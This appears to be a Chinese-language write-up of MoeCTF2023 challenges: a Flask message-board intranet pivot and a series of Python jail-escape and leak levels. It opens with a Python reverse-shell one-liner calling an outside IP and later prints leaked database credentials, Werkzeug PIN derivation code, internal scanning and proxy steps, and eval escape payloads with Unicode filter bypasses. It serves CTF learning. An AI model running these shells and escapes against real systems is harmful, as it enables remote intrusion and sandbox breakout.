import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("115.236.153.170",35940));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")
在内网里拿到题目源码
app.py
from curses import flash
from flask import Flask, request, render_template, redirect, session, url_for, flash
import os
import dataSql
import datetime
from hashlib import md5
app = Flask(__name__)
app.template_folder = os.path.join("static/templates")
app.static_folder = os.path.join("static")
app.secret_key = "This-random-secretKey-you-can't-get" + os.urandom(2).hex()
@app.route('/login', methods=['GET', 'POST'])
def login():
if 'user' not in session:
if request.method == 'GET':
return render_template('login.html')
username = request.form['user']
password = request.form['password']
if dataSql.canLogin(username, password):
session['user'] = username
session['power'] = dataSql.getPower(username)
return redirect('/index')
else:
flash("username or password incorrect")
return redirect('login')
else:
return '''<script>alert("You have already logged in.");window.location.href="/index";</script>'''
# change the password
@app.route('/change', methods=['GET', 'POST'])
def foundpwd():
if request.method == 'GET':
return render_template('changepwd.html')
username = request.form['user']
oldPassword = request.form['oldPassword']
newPassword = request.form['newPassword']
a = dataSql.changePassword(username, oldPassword, newPassword)
if a == True:
return '''
change successfully
<br>
<a href='login'>login now</a>
'''
else:
flash(a)
return redirect('change')
# register for enter the message board
@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'GET':
return render_template('register.html')
id = dataSql.usersName()
username = request.form['user']
password = request.form['password']
power = 'guest'
if dataSql.register(id, username, password, power):
return '''
register successfully
<br>
<a href='login'>login now</a>
'''
else:
flash('username already exists')
return redirect('register')
@app.route('/logout', methods=['GET'])
def logout():
if 'user' in session:
session.pop('user')
return redirect('/login')
else:
return '''
you are not logged in
<br>
<a href='login'>login now</a>
'''
@app.route('/', methods=['GET', 'POST'])
@app.route('/index', methods=['GET', 'POST'])
def index():
if 'user' in session:
if request.method == 'GET':
msg = getMsgList()
if session['power'] == 'guest':
for i in msg:
# remove the message send by other user on private condition
if i[3] == "1" and session['user'] != i[0]:
msg.remove(i)
return render_template('index.html', username=session['user'], msg=msg)
else:
message = request.form['message']
username = session['user']
nowtime = str(datetime.datetime.now())
if 'private' in request.form:
private = 1
else:
private = 0
if message == '':
return '''<script>alert("invalid input");window.location.href="/index";</script>'''
dataSql.uploadMessage(username, message, nowtime, private)
return '''<script>alert("upload successfully");window.location.href="/index";</script>'''
else:
return redirect('/login')
@app.route('/delete', methods=['GET'])
def delete():
if 'user' in session:
psg = request.args.get('psg')
msg = list(dataSql.showMessage())
for i in range(len(msg)):
h1 = md5()
h1.update(str(msg[i][2]).encode(encoding='utf-8'))
h2 = h1.hexdigest()
if (msg[i][0] == session['user'] or session['power'] == 'root') and h2 == psg:
dataSql.deleteMessage(msg[i][0], msg[i][2])
return redirect('/index')
return '''<script>alert("Permission denied");window.location.href="/index";</script>'''
else:
return '''<script>alert("login first");window.location.href="/index";</script>'''
@app.route('/index/api/getMessage', methods=['GET'])
def getMessage():
username = request.args.get('username')
password = request.args.get('password')
if(username == None or password == None):
return {'status': 'failed', 'message': 'invalid input'}
elif(not dataSql.canLogin(username, password)):
return {'status': 'failed', 'message': 'username or password incorrect'}
elif(dataSql.canLogin(username, password)):
msg = getMsgList()
if dataSql.getPower(username) == 'guest':
for i in msg:
# remove the message send by other user on private condition
if i[3] == "1" and username != i[0]:
msg.remove(i)
return msg
def getMsgList():
msg = list(dataSql.showMessage())
for i in range(len(msg)):
h1 = md5()
h1.update(str(msg[i][2]).encode(encoding='utf-8'))
msg[i] += tuple([h1.hexdigest()])
return msg
if __name__ == '__main__':
app.run(host = "0.0.0.0", debug=True, port=8080)
dataSql.py
import pymysql
import time
import getPIN
pin = getPIN.get_pin()
class Database:
def __init__(self, max_retries=3):
self.max_retries = max_retries
self.db = None
def __enter__(self):
self.db = self.connect_to_database()
return self.db, self.db.cursor()
def __exit__(self, exc_type, exc_val, exc_tb):
if self.db and self.db.open:
self.db.close()
def connect_to_database(self):
retries = 0
while retries < self.max_retries:
try:
db = pymysql.connect(
host="mysql", # 数据库地址
port=3306, # 数据库端口
user="root", # 数据库用户名
passwd="The_P0sswOrD_Y0u_Nev3r_Kn0w", # 数据库密码
database="messageboard", # 数据库名
charset='utf8'
)
return db
except pymysql.Error as e:
retries += 1
print(f"Connection attempt {retries} failed. Retrying in 5 seconds...")
time.sleep(5)
raise Exception("Failed to connect to the database after maximum retries.")
def canLogin(username,password):
with Database() as (db, cursor):
sql = 'select password from users where username=%s'
cursor.execute(sql, username)
res = cursor.fetchall()
if res:
if res[0][0] == password:
return True
return False
def register(id,username,password,power):
with Database() as (db, cursor):
sql = 'select username from users where username=%s'
cursor.execute(sql, username)
res = cursor.fetchall()
if res:
return False
else:
sql = 'insert into users (id,username,password,power) values (%s,%s,%s,%s)'
cursor.execute(sql, (id,username,password,power))
db.commit()
return True
def changePassword(username,oldPassword,newPassword):
with Database() as (db, cursor):
sql = 'select password from users where username=%s'
cursor.execute(sql, username)
res = cursor.fetchall()
if res:
if oldPassword == res[0][0]:
sql = 'update users set password=%s where username=%s'
cursor.execute(sql, (newPassword,username))
db.commit()
return True
else:
return "wrong password"
else:
return "username doesn't exist."
def uploadMessage(username,message,nowtime,private):
with Database() as (db, cursor):
sql = 'insert into message (username,data,time,private) values (%s,%s,%s,%s)'
cursor.execute(sql, (username,message,nowtime,private))
db.commit()
return True
def showMessage():
with Database() as (db, cursor):
sql = 'select * from message'
cursor.execute(sql)
res = cursor.fetchall()
res = [tuple([str(elem).replace('128-243-397', pin) for elem in i]) for i in res]
return res
def usersName():
with Database() as (db, cursor):
sql = 'select * from users'
cursor.execute(sql)
res = cursor.fetchall()
return len(res)
def getPower(username):
with Database() as (db, cursor):
sql = 'select power from users where username=%s'
cursor.execute(sql, username)
res = cursor.fetchall()
return res[0][0]
def deleteMessage(username,pubTime):
with Database() as (db, cursor):
sql = 'delete from message where username=%s and time=%s'
cursor.execute(sql,(username,pubTime))
db.commit()
return True
getPIN.py
import hashlib
from itertools import chain
import uuid
def get_pin():
probably_public_bits = [
'ctf'# username /proc/self/environ
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.9/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
uuid1 = str(uuid.getnode())
linux = b""
# machine-id is stable across boots, boot_id is not.
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
try:
with open(filename, "rb") as f:
value = f.readline().strip()
except OSError:
continue
if value:
linux += value
break
# Containers share the same machine id, add some cgroup
# information. This is used outside containers too but should be
# relatively stable across boots.
try:
with open("/proc/self/cgroup", "rb") as f:
linux += f.readline().strip().rpartition(b"/")[2]
except OSError:
pass
linux = linux.decode('utf-8')
private_bits = [
uuid1,
linux,
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")
cookie_name = f"__wzd{h.hexdigest()[:20]}"
num = None
if num is None:
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]
rv=None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x : x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num
return rv
进入tools文件夹,获取主机ip地址172.21.0.3
和172.20.0.4
cd tools
hostname -i
然后用fscan扫描内网(好像下面那个ip才是内网)
./fscan -h 172.21.0.0/16
./fscan -h 172.20.0.0/16
排除网关地址,将得到的端口号从小到大排序并以 - 分割:22-3306-6379-8080
,即我们下载的hint.zip的解压密码
解压
当你看到此部分,证明你正确的进行了fscan的操作得到了正确的结果
可以看到,在本内网下还有另外两台服务器
其中一台开启了22(ssh)和6379(redis)端口
另一台开启了3306(mysql)端口
还有一台正是你访问到的留言板服务
接下来,你可能需要搭建代理,从而使你的本机能直接访问到内网的服务器
此处可了解`nps`和`frp`,同样在/app/tools已内置了相应文件
连接代理,推荐`proxychains`
对于mysql服务器,你需要找到其账号密码并成功连接,在数据库中找到flag2
对于redis服务器,你可以学习其相关的渗透技巧,从而获取到redis的权限,并进一步寻找其getshell的方式,最终得到flag3
上面我们已经在dataSql.py中拿到了mysql数据库的密码The_P0sswOrD_Y0u_Nev3r_Kn0w
接下来就是搭建代理进行内网渗透了。。。
很好,我还是去买个vps吧,不然都不知道怎么挂代理。。。
总之挂完代理之后直接
mysql -u root -h vps地址 -P 6001 -p
输入一下上面得到的密码,然后直接找flag就行了
select * from flag
redis需要利用未授权访问漏洞进行提权:https://blog.csdn.net/FryhRx/article/details/124087653
Jail
Jail Level 0
print("Welcome to the MoeCTF2023 Jail challenge.It's time to work on this calc challenge.")
print("Enter your expression and I will evaluate it for you.")
user_input_data = input("> ")
print('calc Answer: {}'.format(eval(user_input_data)))
没有过滤,直接命令执行即可
__import__('os').system('sh')
Jail Level 1
print("Welcome to the MoeCTF2023 Jail challenge level1.It's time to work on this calc challenge.")
print("Enter your expression and I will evaluate it for you.")
user_input_data = input("> ")
if len(user_input_data)>12:
print("Oh hacker! Bye~")
exit(0)
print('calc Answer: {}'.format(eval(user_input_data)))
限制长度不能超过12,这样子eval逃逸绕过也用不了
那就breakpoint()
进pdb模块
参考:https://c1oudfl0w0.github.io/blog/2023/06/07/python-jail/#level-2-5
breakpoint()
Jail Level 2
print("Welcome to the MoeCTF2023 Jail challenge level1.It's time to work on this calc challenge.")
print("Enter your expression and I will evaluate it for you.")
user_input_data = input("> ")
if len(user_input_data)>6:
print("Oh hacker! Bye~")
exit(0)
print('calc Answer: {}'.format(eval(user_input_data)))
长度限制到6,breakpoint()
用不了,那就用help()
参考:https://c1oudfl0w0.github.io/blog/2023/06/07/python-jail/#level-3
Jail Level 3
unicode编码绕过
import re
BANLIST = ['breakpoint']
BANLIST_WORDS = '|'.join(f'({WORD})' for WORD in BANLIST)
print("Welcome to the MoeCTF2023 Jail challenge.It's time to work on this calc challenge.")
print("Enter your expression and I will evaluate it for you.")
user_input_data = input("> ")
if len(user_input_data)>12:
print("Oh hacker! Bye~")
exit(0)
if re.findall(BANLIST_WORDS, user_input_data, re.I):
raise Exception('Blacklisted word detected! you are hacker!')
print('Answer result: {}'.format(eval(user_input_data)))
breakpoint()
被ban了,help()
也不会长度溢出
那么接下来就要考虑对breakpoint()
编码绕过让它识别不到
获取碰撞unicode编码的脚本:
from unicodedata import normalize
from string import ascii_lowercase
from collections import defaultdict
lst = list(ascii_lowercase)
dic = defaultdict(list)
for char in lst:
for i in range(0x110000):
if normalize("NFKC", chr(i)) == char:
dic[char].append(chr(i))
if len(dic[char]) > 9:
break
print(dic)
里面取一个b来执行breakpoint()
就行
Jail Level 4
python版本2.7
没过滤直接打?
Jail Level 5(未完成)
print("Welcome to the MoeCTF2023 Jail challenge.It's time to work on this calc challenge.")
print("Enter your expression and I will evaluate it for you.")
def func_filter(s):
not_allowed = set('"'`bid')
return any(c in not_allowed for c in s)
user_input_data = input("> ")
if func_filter(user_input_data):
print("Oh hacker! Bye~")
exit(0)
if not user_input_data.isascii():
print("Sorry we only ascii for this chall!")
exit(0)
print('Answer result: {}'.format(eval(user_input_data)))
ban了"
,'
,反引号,b
,i
,d
Leak Level 0
globals()环境变量泄露
fake_key_into_local_but_valid_key_into_remote = "moectfisbestctfhopeyoulikethat"
print("Hey Guys,Welcome to the moeleak challenge.Have fun!.")
print("| Options:
| [V]uln
| [B]ackdoor")
def func_filter(s):
not_allowed = set('vvvveeee')
return any(c in not_allowed for c in s)
while(1):
challenge_choice = input(">>> ").lower().strip()
if challenge_choice == 'v':
code = input("code >> ")
if(len(code)>9):
print("you're hacker!")
exit(0)
if func_filter(code):
print("Oh hacker! byte~")
exit(0)
print(eval(code))
elif challenge_choice == 'b':
print("Please enter the admin key")
key = input("key >> ")
if(key == fake_key_into_local_but_valid_key_into_remote):
print("Hey Admin,please input your code:")
code = input("backdoor >> ")
print(eval(code))
else:
print("You should select valid choice!")
Vuln中限制长度9,Backdoor无限制但是要key
我们先进Vuln,用globals()
查看环境变量
可以发现key的值
然后带上key去backdoor命令执行即可
Leak Level 1
fake_key_into_local_but_valid_key_into_remote = "moectfisbestctfhopeyoulikethat"
print("Hey Guys,Welcome to the moeleak challenge.Have fun!.")
def func_filter(s):
not_allowed = set('moe_dbt')
return any(c in not_allowed for c in s)
print("| Options:
| [V]uln
| [B]ackdoor")
while(1):
challenge_choice = input(">>> ").lower().strip()
if challenge_choice == 'v':
code = input("code >> ")
if(len(code)>6):
print("you're hacker!")
exit(0)
if func_filter(code):
print("Oh hacker! byte~")
exit(0)
print(eval(code))
elif challenge_choice == 'b':
print("Please enter the admin key")
key = input("key >> ")
if(key == fake_key_into_local_but_vailed_key_into_remote):
print("Hey Admin,please input your code:")
code = input("backdoor >> ")
print(eval(code))
else:
print("You should select valid choice!")
ban了m,o,e,d,b,t
可以直接用Jail Level 3的编码绕过进help()查看__main__
得到key